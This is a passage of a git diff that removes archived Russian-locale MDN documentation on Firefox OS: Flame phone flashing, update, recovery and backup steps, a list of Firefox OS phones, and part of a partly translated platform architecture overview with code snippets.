      - Note: If flash.bat is missing, simply rename the flash.sh file to flash.bat, then run that. Make sure you have adb and fastboot installed and available on PATH.
    • -
    • On Linux / OSX, enter the directory in your terminal, then run the flash.sh script using ./flash.sh (previous instructions encouraged you to use sudo. Don't. It is really dangerous to use sudo with things you download from the Internet. If the flash script fails to see your device, please double-check that your udev rules are correct). If you do not see a flash.sh file, simply rename flash.bat to flash.sh first and then use the above command.
    • -
    -
  8. -
- -
-

Note: If you get a "permission denied" error when running the above commands, your shell script probably doesn't have the right permissions. Running chmod +x flash.sh on it should solve this problem.

-
- -
-

Note: If the flash script gets stuck at "< waiting for device >" while the display shows "ThunderSoft(R)", the script doesn't have permission to access the device while in fastboot mode. You need to setup the udev rules to give it access. Also USB 3 ports may not work well with fastboot and can be the cause of this problem.

-
- -
-

Note: You are also welcome to build your own builds to install on the Flame: see Building and installing Firefox OS.

-
- -

Font fix

- -
-

Important: This step is only needed for base image v180.

-
- -

After updating Gecko and Gaia to nightly with the v180 base image, there will be a mismatch between the fonts that Gecko and Gaia expects and what the base image provides (this has been fixed as of v188). To fix this, you have two choices:

- - - -

Updating your Flame to a nightly build

- -
-

Note: For the current build, Nightly development builds of Firefox OS do not support A-GPS, which may lead to slow performance of GPS functionality. We plan to resolve this in an updated future Nightly channel.

-
- -
-

Important: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the Backing up and restoring your Flame data section for more details.

-
- -
    -
  1. Before updating your phone to a Nightly build you should flash the latest base image to make sure the underlying systems are up to date. Download a base image with the same or a higher version of Firefox OS than the version you intend to use in step 3 below and use it to update your device's software, as explained above.
  2. -
  3. Because the above step installs a fresh operating system on your device, you'll need to enable remote debugging on your Flame again, using the Remote debugging option in the device's Developer settings.
  4. -
  5. Next, choose a build to install (found on https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/). You'll want one of the following: - -
  6. -
  7. Pick a version and download both the b2g-XX.XX.en-US.android-arm.tar.gz and gaia.zip files. Save them inside a directory on your Desktop called something like fxos.
  8. -
  9. Download the shallow flash script and save it in the same directory as the above two files.
  10. -
  11. For Windows users: Also download the shallow_flash.bat windows script and install Cygwin, which provides a Linux-like command environment on Windows. You will need to install the default Cygwin base category plus the unzip package but shallow_flash.bat will do this for you if you download and copy the Cygwin setup*.exe to the same folder as the script.
  12. -
  13. -

    In your Terminal, cd into the directory you saved the files in and Flash the builds to your phone using the following:

    - -

    Linux:

    - -
    ./shallow_flash.sh --gaia=gaia.zip --gecko=b2g-XX.XX.en-US.android-arm.tar.gz
    -
    - -

    Mac:

    - -
    ./shallow_flash.sh --gaia gaia.zip --gecko b2g-XX.XX.en-US.android-arm.tar.gz
    - -

    Windows:

    - -

    Double click shallow_flash.bat (with the cogs icon) or run it from a command shell. It will flash gaia.zip and a single b2g-XX.XX.en-US.android-arm.tar.gz file.

    -
  14. -
- -
-

Note: If your update fails with an error "Flashing out/target/product/flame/system.img failed because the image was too large.", you will need to update to the newest base image, then try applying the nightly build again. This is because the system partition size has been updated (see баг 1184980.)

-
- -
-

Note: If you get a "permission denied" error when running the above commands, your shell script probably doesn't have the right permissions. Running chmod +x shallow_flash.sh on it should solve this problem.

-
- -
-

Note: A "shallow flash" updates Gecko and Gaia plus data directories, as opposed to a full flash, which updates Gecko/Gaia, but also the underlying Gonk layer and associated binaries particular to that device type. This is why it is a good idea to update to the official base image first, as suggested above, then shallow flash over the top of that, once you've got the Gonk/binary layer right.

-
- -
-

Note: You can check the update status of each build on the Flame OTA status page.

-
- -

Once the install procedure finishes the phone should reboot into the updated build and display the first time user workflow.

- -

Switch to nightly update channel

- -

In v2.2 you can change the Update channel from default to nightly under Developer settings.

- -

Below is the older method, if you don't find that setting in your device.

- -
    -
  1. Make sure remote debugging is enabled on your Flame, using the Remote debugging/Debugging via USB option in the device's Developer settings.
  2. -
  3. Download the change channel script: follow the link, press the Raw button, then use your browser's save functionality to save the page directly as change_channel.sh.
  4. -
  5. In your Terminal, cd into the directory you saved the script in and change the update channel on your phone using the following command:
    - -
    ./change_channel.sh -v nightly
    -
  6. -
  7. Once the phone reboots, check for updates by going into Settings > Device information > Check now.
  8. -
- -
-

Note: This step isn't needed in newer versions of the Firefox OS software — you should just get OTA updates automatically.

-
- -
-

Note: You can choose between several different update channels. Run "./change_channel.sh -h" to see the other channel options.

-
- -

Fastboot mode

- -

If flashing a new build to your phone fails to work, your phone may become unresponsive, leading to the phone rebooting in recovery mode. The recovery mode provides few options (Reboot, Update from adb, Wipe data, Wipe cache, and Update from sdcard). Unfortunately, selecting Update from adb triggers a sideload mode in which you cannot use the other adb commands. The adb sideload command would work but the various flash scripts rely on other adb commands.

- -

You can force fastboot mode as follows:

- -
    -
  1. Power off the phone (which may involve removing the battery in extreme cases...).
  2. -
  3. Power the phone up again by pressing the Volume Down and Power buttons together.
  4. -
- -

The phone should now display the text "FASTBOOT": it is in fastboot mode and is waiting for a USB connection. At this point, a USB-connected, computer with adb installed should see the phone listed when the fastboot devices command is run. Note that regular adb would not see the device — only fastboot sees it. In this mode, you can use the flash script to install the last base image as explained above. As the script does use both adb and fastboot commands, you may see some initial error and warnings from adb, but the device should be flashed properly at the end of the procedure.

- -

Emergency download mode

- -

If flashing a new build to your phone fails to work, your phone becomes unresponsive, and the phone cannot enter fastboot mode, you can use emergency mode for recovery. You'll need the provided emergency USB cable with the “Recovery Cable” red label on it and the Emergency Download Tool to enter this mode. For full instructions, see the Flame emergency rescue tool tutorial included in the download tool's files. Contact the device maker (flameservice [at] thundersoft.com) if you need any more technical support.

- -

Emergency download tool dialog box as it is when it start.

- -
-

Note: The tool provided is Windows-only.

-
- -

Recovery mode

- -

You can enter recovery mode to clear your phone data or manually update the firmware. There are two ways to enter this mode:

- - - -

When in recovery mode, press the Volume up/down keys to move the selection highlight, and the Power key to select. Make sure you have your phone data (Contacts, SMS, etc.) backed up before clearing data, and your upgrade packages downloaded before updating.

- -

Updating your phone via an adb sideload

- -
-
-
-
-
If you have adb installed on your computer, you can perform an adb sideload to update your phone, given the current sideload update.zip build.  To do this:
- -
    -
  1. Connect the device to the computer via USB.
  2. -
  3. Type the following : -
    adb reboot recovery
    -
  4. -
  5. Press volume down once on the device to get to the option "apply update from ADB".  If you went too far you can press volume up to move up the menu selection.
  6. -
  7. Press the power button to select the option.
  8. -
  9. On the computer, in the directory that you have stored the update.zip, type: -
    adb sideload update.zip
    -
    -
  10. -
  11. Wait until the sideload finishes; on the device it should issue the message "Install from ADB complete".
  12. -
  13. navigate to the "reboot system now" option on the phone by pressing the volume up button on the device, then hit the power button to select that option.
  14. -
-
-
-
-
- -

Backing up and restoring your Flame data

- -

When using a Flame, you won't want to lose your phone's contacts and other data while upgrading to a new build (as explained earlier in this article). To backup and restore data you can use our Backup and restore profile tool, which is contained in the B2G-flash-tool Git repo.

- -
    -
  1. To use this, first open up your terminal/command line.
  2. -
  3. Clone the above repo (you'll need Git installed) using -
    git clone https://github.com/Mozilla-TWQA/B2G-flash-tool
    -
  4. -
  5. The tool is a Python file: backup_restore_profile.py. Make sure you have Python installed (2.7.x is probably best.) Linux and Mac systems should have this out of the box.
  6. -
  7. Enter the directory you just cloned using cd B2G-flash-tool.
  8. -
- -
-

Note: When using this tool, you'll also need to make sure that your phone is connected via USB to your computer, and that ADB (see Important steps to follow first above) and Debugging via USB (in your device's Developer settings) are enabled.

-
- -
-

Note: If you get a message complaining about lack of permissions to execute this file, cd into the directory where you saved the file, and run the following command:

- -
chmod +x backup_restore_profile.py
-
- -

Backing up data from your phone

- -

Before backing up you should make sure your device is updated with the most recent OTA update. To do this, on your phone go to Settings app > Device Information > Check for updates > click Check Now. If there is an update available, you should shortly get a notification of an available update. Choose to install the update.

- -

Now, in the directory where you saved the backup_restore_profile.py file, run the following:

- -
python backup_restore_profile.py -b
- -

This should save your device profile to a directory called mozilla-profile, in the same directory as the script is located.

- -
-

Warning: by default, it does not save the internal sd card content. So files like photos or videos from the gallery app will not be saved. If you want to backup the sd card content, add the --sdcard option

- -
python backup_restore_profile.py -b --sdcard
-
- -

Restoring data to your phone

- -

Before restoring you should again make sure your device is updated with the most recent OTA update. Go to Settings app > Device Information > Check for updates > click Check Now. If there is an update available, you should shortly get a notification of an available update. Choose to install the update.

- -

In the directory where your mozilla-profile directory is located (see above section), run the following:

- -
python backup_restore_profile.py -r
- -
-

Note: You can get a list of all the options the tool supports by running python backup_restore_profile.py -h.

-
- -

Pushing apps to your Flame

- -

The App Manager and WebIDE tools make it easy to push apps to your phone, for testing, etc.

- -

RAM adjustment

- -

You can adjust the available RAM capacity to see how apps perform on Firefox OS phones with lower memory footprints.

- -

This is accomplished by entering fastboot mode (install fastboot first, which is available on the same SDK page as ADB) and typing:

- -
adb reboot bootloader
-fastboot oem mem [0|256-1024]
- -

“0” is the memory automatically detected and “256-1024” is the number of megabytes. For example, if you want to adjust device RAM capacity to 512M, enter fastboot oem mem 512.

- -

You'll need to then reboot your device for the settings to take effect. This can be done using:

- -
fastboot reboot
- -

The current memory size can be returned by entering fastboot mode and typing:

- -
fastboot getvar mem
-
diff --git a/files/ru/archive/b2g_os/phone_guide/index.html b/files/ru/archive/b2g_os/phone_guide/index.html deleted file mode 100644 index fbaa5be840..0000000000 --- a/files/ru/archive/b2g_os/phone_guide/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Firefox OS phone guide -slug: Archive/B2G_OS/Phone_guide -translation_of: Archive/B2G_OS/Phone_guide ---- -
-
-

This section contains developer information relevant to specific phones that run Firefox OS — both developer and consumer devices. We have general information available on Building and installing Firefox OS and Hacking Firefox OS, so please go there for information about building and installing the platform from scratch. Developers with specific phones in their possession may however find the following articles useful.

-
-
- -

Developer phone information

- -

The phones listed here are specifically geared towards developers wanting to experiment with Firefox OS, including developing apps and contributing to the operating system itself. As such, they typically have unlocked SIMs, system files, etc.

- -
-
Flame
-
The Flame device is the official reference device for developing, testing, and debugging Firefox OS and open web apps, produced in partnership with T2Mobile.
-
Geeksphone
-
In this article we cover some basic tips on how to keep your Geeksphone up-to-date and how to tweak the system Gaia applications.
-
ZTE OPEN
-
This article contains information on the ZTE OPEN Firefox OS device.
-
ZTE OPEN C
-
The ZTE Open C is an updated ZTE-produced Firefox OS device, with higher end hardware and newer software.
-
- -

Consumer phone information

- -

The phones listed here are consumer models, so not ideal for developers wanting to hack on devices. However, There is still useful information here for developers wanting to develop apps for specific locales, or wanting to make sure their apps work on a specific device. For a more complete list of devices, see our Find Firefox OS near you page.

- -
-
Symphony GoFox F15
-
The Symphony GoFox F15 is the first Firefox OS Device to come with 3G video calling capability, launched in Bangladesh.
-
Fx0
-
The Fx0 is a consumer Firefox OS device, and marks the first Firefox OS phone release in Japan. It is released by KDDI.
-
Intex Cloud FX
-
The Intex Cloud FX is a consumer Firefox OS smart phone, and marks the very first Firefox OS Tarako phone release in India (based on Firefox OS 1.3T.)
-
Spice Firefox MI FX1
-
The Spice Fire One MI FX1 is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.
-
Alcatel Onetouch Fire 2C 4020D
-
The Alcatel Onetouch Fire C is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.
-
Zen U105 Fire
-
This article contains information on the budget Smartphone Zen U105 Fire, available in India.
-
LG Fireweb
-
LG Fireweb is a consumer Firefox OS Smartphone, based on Firefox OS 1.1 and available in Uruguay and Brasil.
-
 Huawei Y300 II
-
Huawei Y300 II is a consumer Firefox OS Smartphone, based on Firefox OS 1.1 and available in the Philippines and Mexico.
-
- -
-
Cherry Mobile Ace
-
The Cherry Mobile Ace is a consumer Firefox OS Smartphone, based on Firefox OS 1.3T and available in the Philippines.
-
Alcatel One Touch Fire
-
Alcatel One Touch Fire is a consumer Firefox OS Smartphone, based on Firefox OS 1.3 and available in more than 5 countries.
-
Alcatel Onetouch Fire C
-
The Alcatel One touch Fire C is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.
-
Alcatel Onetouch Fire E
-
The Alcatel Onetouch Fire E is a consumer Firefox OS smart phone, available in 5 countries.
-
ZTE Open II
-
ZTE Open II is a consumer Firefox OS smart phone which has has a1.2 GHz dual core processor and a 2.0 MP Rear Camera, available in 7 countries.
-
- -

General Firefox OS information

- -
-
Firefox OS phone data
-
In this article we list the various available Firefox OS phones along with information such as their code names, availability, and specific hardware features.
-
General device features
-
This page lists typical Firefox OS hardware features and minimum hardware requirements.
-
Troubleshooting
-
This article provides tips for resolving common problems you may have while using Firefox OS.
-
Best practices for open reference devices
-
A set of best practices that we believe should come highly recommended for any widely available open reference devices. All of the recent Firefox OS reference devices have followed these practices.
-
diff --git a/files/ru/archive/b2g_os/platform/architecture/index.html b/files/ru/archive/b2g_os/platform/architecture/index.html deleted file mode 100644 index 3fc82b1605..0000000000 --- a/files/ru/archive/b2g_os/platform/architecture/index.html +++ /dev/null @@ -1,718 +0,0 @@ ---- -title: Firefox OS architecture -slug: Archive/B2G_OS/Platform/Architecture -translation_of: Archive/B2G_OS/Architecture ---- -
-

This article is a high-level overview of the architecture of the Firefox OS platform, introducing key concepts and explaining how its components interact at a basic level.

-
- -
-

Note: Помните, что Firefox OS находится ещё в стадии разработки. Архитектура, описываемая ниже, не обязательно является окончательной и некоторые положения могут измениться.

-
- -

Firefox OS терминология

- -

Есть несколько терминов, которые вы должны понимать, прежде чем читать дальше нашу документацию Firefox OS.

- -
-
B2G
-
Short for Boot to Gecko.
-
Boot to Gecko
-
Инженерно кодовое название операционной системы Firefox OS. Вы часто будете видеть этот термин, используется для обозначения Firefox OS, так как он использовался в течение длительного времени, прежде чем проект получил официальное название.
-
Firefox OS
-
Firefox OS is basically Mozilla's (and OEM partner's) branding and support services applied on top of Boot to Gecko, to create a final release product.
-
Gaia
-
-

Это пользовательский интерфейс платформы Firefox OS. Всё, что отображается на экране с момента запуска Firefox OS – результат работы слоя Gaia. Именно Gaia реализует функцию блокировки экрана, начальный экран и все стандартные приложения, которые обычно установлены на современных смартфонах. Gaia реализована полностью на HTML, CSS и JavaScript. При этом она лишь реализует интерфейс взаимодействия с ниже лежащим уровнем, слоем Gecko, посредством открытых Web API. Сторонние приложения устанавливаются на уровне Gaia.

-
-
Gecko
-
-

Это среда исполнения приложений под Firefox OS; т.е. этот слой обеспечивает поддержку трёх открытых стандартов: HTML, CSS, JS. Гарантируется правильная работа API на всех операционных системах, поддерживающих Gecko. Это достигается за счёт того, что в Gecko включены, среди прочего, поддержка сетевых протоколов, графический движок, виртуальная машина JavaScript и промежуточные слои-порты.

-
-
Gonk
-
Gonk – это низкоуровневый слой платформы Fiefox OS, состоящий из ядра Linux (основан на Android Open Source Project (AOSP)) и уровня абстракции аппаратного обеспечения (HAL). Ядро и несколько пользовательских библиотек – это популярные проекты с открытым исходным кодом: Linux, libusb, bluez и т.д. Некоторые части HAL поставляются с AOSP: GPS, камера и другие. Можно сказать, Gonk – очень простой дистрибутив Linux. Gonk – это целевая платформа для Gecko, т.е. Gecko портируется на Gonk, также как и на OS X, Windows и Android. Разработчикам рекомендуется рассматривать Gonk как «чёрный ящик», выполняющий всю сложную работу по управлению аппаратной частью. Т.к. Mozilla полностью контролирует Gonk, Gecko может получить доступ к таким интерфейсам, которые на других операционных системах получить невозможно. Например, Gecko обладает прямым доступом ко всему стэку телефонии и к буферу отображаемых кадров на Gonk, но не имеет этих возможностей на остальных операционных системах.system.
-
Jank
-
This term, often used in the mobile apps space, refers to the effect of slow/inefficient code operations in an app, which block updating of the UI and cause it to become laggy or unresponsive. Our Gaia engineers use various optimization techniques to try to avoid this at all costs.
-
- -

Overall architecture

- -

The following figure compares architectures between proprietary platforms and Firefox OS.

- -

on the left is a native mobile architecture stack, on the right is the Firefox OS architecture. they are similarm except that the native stack is all proprietary device functionality, and the Firefox OS stack is all done with open source and web technologies.

- -

Firefox OS eliminates the native API layer between the operating system and application layers. This integrated design reduces platform overhead and simplifies security without sacrificing performance or a rich user smart phone experience.

- -
    -
  1. Gaia is the core web apps of the device, and user interface layer, all written in HTML5, CSS and JavaScript, with a number of exposed APIs to allow the UI code to interact with the phone hardware and Gecko functionality.
  2. -
  3. Gecko is the web engine and presentation layer in Firefox OS that connects hardware to HTML by serving as the interface between web content and the underlying device. Gecko provides an HTML5 parsing and rendering engine, programmatic access to hardware functionality via secure web APIs, a comprehensive security framework, update management, and other core services.
  4. -
  5. Gonk is the kernel-level component in the Firefox OS stack that serves as the interface between Gecko and the underlying hardware. Gonk controls the underlying hardware and exposes hardware capabilities to Web APIs implemented in Gecko. Gonk can be seen as the “black box” that does all the complex, detailed work behind the scenes to control the mobile device by enacting requests at the hardware level.
  6. -
  7. The mobile device is the mobile phone hardware running Firefox OS. The OEM is responsible for providing the mobile device.
  8. -
- -

Specific Firefox OS architecture

- -

Firefox OS Architecture

- -

Firefox OS bootup procedure

- -

This section describes the process by which Firefox OS devices boot, what parts are involved, and where. Вкратце, основная система загрузки начинается с загрузчиков ядра, происходит инициализация машинного кода, затем запускается порт Gecko и сам Gecko в пользовательском пространстве, затем, наконец, запускаются системные приложения, оконный менеджер и программа начального экрана. Поверх этого и будут запускаться остальные приложения.

- -

- -

The bootstrapping process

- -

When a Firefox OS device is first turned on, execution begins in the primary bootloader. From there, the process of loading the main operating system proceeds in the typical way; a succession of increasingly higher-level bootloaders bootstrap the next loader in the chain. At the end of the process, execution is handed off to the Linux kernel.

- -

There are a few points worth noting about the boot process:

- - - -

Ядро Linux

- -

Ядро Linux, используемое Gonk очень похоже на основную версию Linux, от которой и происходит (основано на Android Open Source Project). В нём есть несколько изменений от AOSP, которые не вошли в основную версию ядра Linux. Вдобавок производители иногда вносят изменения в ядро и загружают эти изменения в свои продукты. Однако, в основном ядро Linux близко к основной версии.

- -

Процесс загрузки Linux хорошо задокументирован и описан на многих Интернет-ресурсах, поэтому данная статья не будет раскрывать эту тему.

- -

Ядро Linux включает устройство и запускает жизненно необходимые процессы. Оно выполняет процессы, определённые в init.rc и его наследнике init.b2g.rc, чтобы запустить необходимые процессы, такие как b2g (базовый процесс Firefox OS, содержащий Gecko) и rild (процесс, связанный с обеспечением возможностей телефонии, он может принадлежать разным чипсетам). В конце запускается процесс init, подобно тому, как это происходит в большинстве UNIX-подобных операционных системах.

- -

Как только процесс init запущен, ядро Linux начинает обрабатывает системные вызовы из пользовательского пространства, аппаратной части и прерывания. Доступ ко многим аппаратным возможностям предоставляется пользовательской части с помощью sysfs. Например, ниже представлен фрагмент кода в Gecko, который считывает состояние батареи:

- -
FILE *capacityFile = fopen("/sys/class/power_supply/battery/capacity", "r");
-double capacity = dom::battery::kDefaultLevel * 100;
-if (capacityFile) {
-  fscanf(capacityFile, "%lf", &capacity);
-  fclose(capacityFile);
-}
- -

More on the init process

- -

Процесс init в Gonk производит загрузку файловой системы и запускает системные сервисы. После этого, Gonk работает в качестве менеджера процессов. Это довольно похоже на реализацию инициализации в других UNIX-подобных операционных системах. Интерпретируются сценарии (т.е. файлы init*.rc), состоящие из команд, описывающих, что должно быть сделано для загрузки многочисленных сервисов. Init.rc Firefox OS – это обычно вариант init.rc Android для того же устройства с исправлениями, необходимыми для Fiefox OS. Они могут отличаться от устройства к устройству.

- -

Ключевой задачей процесса init является запуск процесса boot to Gecko, ядра операционной системы Firefox OS.

- -

Пример кода в init.rc:

- -
service b2g /system/bin/b2g.sh
-    class main
-    onrestart restart media
- -
-

Note: Exactly how much init.rc differs from the Android version varies from device to device; sometimes, init.b2g.rc is simply appended, and sometimes the patches are more significant.

-
- -

The userspace process architecture

- -

Now it's useful to take a high-level look at how the various components of Firefox OS fit together and interact with one another. This diagram shows the primary userspace processes in Firefox OS.

- -

Userspace diagram

- -
-

Note: Keep in mind that since Firefox OS is under active development, this diagram is subject to change, and may not be entirely accurate.

-
- -

The b2g process is the primary system process. It runs with high privileges; it has access to most hardware devices. b2g communicates with the modem, draws to the display framebuffer, and talks to GPS, cameras, and other hardware features. Internally, b2g runs the Gecko layer (implemented by libxul.so). See Gecko for details on how the Gecko layer works, and how b2g communicates with it.

- -

b2g

- -

The b2g process may, in turn, spawn a number of low-rights content processes. These processes are where web applications and other web content are loaded. These processes communicate with the main Gecko server process through IPDL, a message-passing system.

- -

The b2g process runs libxul, which references b2g/app/b2g.js to get default preferences. From the preferences it will open the described HTML file b2g/chrome/content/shell.html, which is compiled within the omni.ja file. shell.html includes b2g/chrome/content/shell.js file, which triggers the Gaia system app.

- -

rild

- -

The rild process is the interface to the modem processor. rild is the daemon that implements the Radio Interface Layer (RIL). It's a proprietary piece of code that's implemented by the hardware vendor to talk to their modem hardware. rild makes it possible for client code to connect to a UNIX-domain socket to which it binds. It's started up by code like this in the init script:

- -
service ril-daemon /system/bin/rild
-    socket rild stream 660 root radio
- -

rilproxy

- -

In Firefox OS, the rild client is the rilproxy process. This acts as a dumb forwarding proxy between rild and b2g. This proxy is needed as an implementation detail; suffice it to say, it is indeed necessary. The rilproxy code can be found on GitHub.

- -

mediaserver

- -

The mediaserver process controls audio and video playback. Gecko talks to it through an Android Remote Procedure Call (RPC) mechanism. Some of the media that Gecko can play (OGG Vorbis audio, OGG Theora video, and WebM video) are decoded by Gecko and sent directly to the mediaserver process. Other media files are decoded by libstagefright, which is capable of accessing proprietary codecs and hardware encoders.

- -
-

Note: The mediaserver process is a "temporary" component of Firefox OS; it's there to aid in our initial development work, but is expected to go away eventually. This will most likely not happen until Firefox OS 2.0 at the earliest, however.

-
- -

netd

- -

The netd process is used to configure network interfaces.

- -

wpa_supplicant

- -

The wpa_supplicant process is the standard UNIX-style daemon that handles connectivity with WiFi access points.

- -

dbus-daemon

- -

The dbus-daemon implements D-Bus, a message bus system that Firefox OS uses for Bluetooth communication.

- -

Gecko

- -

Gecko, as previously mentioned, is the implementation of web standards (HTML, CSS, and JavaScript) that is used to implement everything the user sees on Firefox OS, and control interactions with the phone hardware. Web apps connect HTML5 to hardware via controlled, secure Web APIs, implemented in
- Gecko. The Web APIs provide programmatic access to features in the underlying mobile device hardware (such as the battery or vibration), along with data that is stored on, or available to, a device (such as the calendar or contacts). Web content invokes the accessible Web APIs within HTML5.

- -

An app consists of a collection of related HTML5 web content. To build web apps that run on Firefox OS mobile devices, developers simply assemble, package, and distribute this web content. At run time, this web content is interpreted, compiled, and rendered in a web browser. For more information on Apps, see the App Center.

- -
-

Note: To search the Gecko codebase, you could use http://dxr.mozilla.org. It’s more fancy and provides good reference features, but with limited repositories. Or you could try the traditional http://mxr.mozilla.org, which contains more Mozilla projects.

-
- -

Gecko architecture diagram

- -

- - - - - -

b2g/

- -

The b2g folder contains mainly Firefox OS-related functions.

- -
b2g/chrome/content
- -

Contains Javascript files run above the system app.

- -
b2g/chrome/content/shell.html
- -

The entry point into Gaia — the HTML for the system app. shell.html pulls in settings.js and shell.js:

- -
<script type="application/javascript;version=1.8" src="chrome://browser/content/settings.js"> </script>
-<script type="application/javascript;version=1.8" src="chrome://browser/content/shell.js"> </script>
- -

settings.js contains system default setting parameters.

- -
b2g/chrome/content/shell.js
- -

shell.js is the first script to load in the Gaia system app.

- -

shell.js imports all required modules, registers key listeners, defines sendCustomEvent and sendChromeEvent to communicate with Gaia, and provides webapp install helpers: indexedDB quota, RemoteDebugger, keyboard helper, and screenshot tool.

- -

But the most important function of shell.js is to launch the Gaia system app, then hand over the overall systems related management work to the Gaia system app.

- -
let systemAppFrame =
-  document.createElementNS('http://www.w3.org/1999/xhtml', 'html:iframe');
-    ...
-  container.appendChild(systemAppFrame);
- -
b2g/app/b2g.js
- -

This script contains predefined settings, like about:config in browser, and the same as Gaia's pref.js. These settings can be changed from the Settings app, and can be overwritten with Gaia’s user.js in the Gaia build script.

- -

dom/{API}

- -

New API implementations (post-b2g) will be located in dom/. Older APIs will be located in dom/base, for example Navigator.cpp.

- -
dom/apps
- -

.jsm will be loaded — .js API implementations such as webapp.js install, getSelf, etc.

- -
dom/apps/PermissionsTable.jsm
- -

All permissions are defined in PermissionsTable.jsm

- -

dom/webidl

- -

WebIDL is the language used to define web APIs. For supported attributes, read WebIDL_bindings.

- -

hal/gonk

- -

This directory contains files related to the gonk port layer.

- -

Generated files

- -
module/libpref/src/init/all.js
- -

Contains all config files.

- -
/system/b2g/ omni.ja and omni.js
- -

Contains the pack of styles for resources in the device.

- -

Processing input events

- -

Most action inside Gecko is triggered by user actions. These actions are represented by input events (such as button presses, touches to a touch screen device, and so forth). These events enter Gecko through the Gonk implementation of nsIAppShell, a Gecko interface that is used to represent the primary entrance points for a Gecko application; that is, the input device driver calls methods on the nsAppShell object that represents the Gecko subsystem in order to send events to the user interface.

- -

For example:

- -
void GeckoInputDispatcher::notifyKey(nsecs_t eventTime,
-                                     int32_t deviceId,
-                                     int32_t source,
-                                     uint32_t policyFlags,
-                                     int32_t action,
-                                     int32_t flags,
-                                     int32_t keyCode,
-                                     int32_t scanCode,
-                                     int32_t metaState,
-                                     nsecs_t downTime) {
-  UserInputData data;
-  data.timeMs = nanosecsToMillisecs(eventTime);
-  data.type = UserInputData::KEY_DATA;
-  data.action = action;
-  data.flags = flags;
-  data.metaState = metaState;
-  data.key.keyCode = keyCode;
-  data.key.scanCode = scanCode;
-  {
-    MutexAutoLock lock(mQueueLock);
-    mEventQueue.push(data);
-  }
-  gAppShell->NotifyNativeEvent();
-}
- -

These events come from the standard Linux input_event system. Firefox OS uses a light abstraction layer over that; this provides some nice features like event filtering. You can see the code that creates input events in the EventHub::getEvents() method in widget/gonk/libui/EventHub.cpp.

- -

Once the events are received by Gecko, they're dispatched into the DOM by nsAppShell:

- -
static nsEventStatus sendKeyEventWithMsg(uint32_t keyCode,
-                                         uint32_t msg,
-                                         uint64_t timeMs,
-                                         uint32_t flags) {
-    nsKeyEvent event(true, msg, NULL);
-    event.keyCode = keyCode;
-    event.location = nsIDOMKeyEvent::DOM_KEY_LOCATION_MOBILE;
-    event.time = timeMs;
-    event.flags |= flags;
-    return nsWindow::DispatchInputEvent(event);
-}
-
- -

After that, the events are either consumed by Gecko itself or are dispatched to Web applications as DOM events for further processing.

- -

Graphics

- -

At the very lowest level, Gecko uses OpenGL ES 2.0 to draw to a GL context that wraps the hardware frame buffers. This is done in the Gonk implementation of nsWindow by code similar to this:

- -
gNativeWindow = new android::FramebufferNativeWindow();
-sGLContext = GLContextProvider::CreateForWindow(this);
- -

The FramebufferNativeWindow class is brought in directly from Android; see FramebufferNativeWindow.cpp. This uses the gralloc API to access the graphics driver in order to map buffers from the framebuffer device into memory.

- -

Gecko uses its Layers system to composite drawn content to the screen. In summary, what happens is this:

- -
    -
  1. Gecko draws separate regions of pages into memory buffers. Sometimes these buffers are in system memory; other times, they're textures mapped into Gecko's address space, which means that Gecko is drawing directly into video memory. This is typically done in the method BasicThebesLayer::PaintThebes().
  2. -
  3. Gecko then composites all of these textures to the screen using OpenGL commands. This composition occurs in ThebesLayerOGL::RenderTo().
  4. -
- -

The details of how Gecko handles the rendering of web content is outside the scope of this document.

- -

Hardware Abstraction Layer (HAL)

- -

The Gecko hardware abstraction layer is one of the porting layers of Gecko. It handles low-level access to system interfaces across multiple platforms using a C++ API that's accessible to the higher levels of Gecko. These APIs are implemented on a per-platform basis inside the Gecko HAL itself. This hardware abstraction layer is not exposed directly to JavaScript code in Gecko — this part of the itneraction is handled by the Web APIs.

- -

Let's look at the process form a high level. When a user makes a request to use a phone feature (such as dialing a number, accessing a local wifi network, or connecting via Bluetooth), all layers in the Firefox OS technology stack are involved in carrying out the request. Apps and web content in the Gaia layer submits requests to access the underlying device via Web API calls (invoked from within HTML5 functions), which are implemented in Gecko. Gecko in turn submits the request to Gonk. A single request from Gecko can trigger a complex series of operations, initiated and managed by Gonk, in the mobile phone.

- -

How the HAL works

- -

Let's consider the Vibration API as an example. The Gecko HAL for this API is defined in hal/Hal.h. In essence (simplifying the method signature for clarity's sake), you have this function:

- -
void Vibrate(const nsTArray<uint32> &pattern);
- -

This is the function called by Gecko code to turn on vibration of the device according to the specified pattern; a corresponding function exists to cancel any ongoing vibration. The Gonk implementation of this method is in hal/gonk/GonkHal.cpp:

- -
void Vibrate(const nsTArray<uint32_t> &pattern) {
-  EnsureVibratorThreadInitialized();
-  sVibratorRunnable->Vibrate(pattern);
-}
-
- -

This code sends the request to start vibrating the device to another thread, which is implemented in VibratorRunnable::Run(). This thread's main loop looks like this:

- -
while (!mShuttingDown) {
-  if (mIndex < mPattern.Length()) {
-    uint32_t duration = mPattern[mIndex];
-    if (mIndex % 2 == 0) {
-      vibrator_on(duration);
-    }
-    mIndex++;
-    mMonitor.Wait(PR_MillisecondsToInterval(duration));
-  }
-  else {
-    mMonitor.Wait();
-  }
-}
-
- -

vibrator_on() is the Gonk HAL API that turns on the vibrator motor. Internally, this method sends a message to the kernel driver by writing a value to a kernel object using sysfs.

- -

Fallback HAL API implementations

- -

The Gecko HAL APIs are supported across all platforms. When Gecko is built for a platform that doesn't expose an interface to vibration motors (such as a desktop computer), then a fallback implementation of the HAL API is used. For vibration, this is implemented in hal/fallback/FallbackVibration.cpp.

- -
void Vibrate(const nsTArray<uint32_t> &pattern) {
-}
- -

Sandbox implementations

- -

Because most web content runs in content processes with low privileges, we can't assume those processes have the privileges needed to be able to (for example), turn on and off the vibration motor. In addition, we want to have a central location for handling potential race conditions. In the Gecko HAL, this is done through a "sandbox" implementation of the HAL. This sandbox implementation simply proxies requests made by content processes and forwards them to the "Gecko server" process. The proxy requests are sent using IPDL.

- -

For vibration, this is handled by the Vibrate() function implemented in hal/sandbox/SandboxHal.cpp:

- -
void Vibrate(const nsTArray<uint32_t>& pattern, const WindowIdentifier &id) {
-  AutoInfallibleTArray<uint32_t, 8> p(pattern);
-
-  WindowIdentifier newID(id);
-  newID.AppendProcessID();
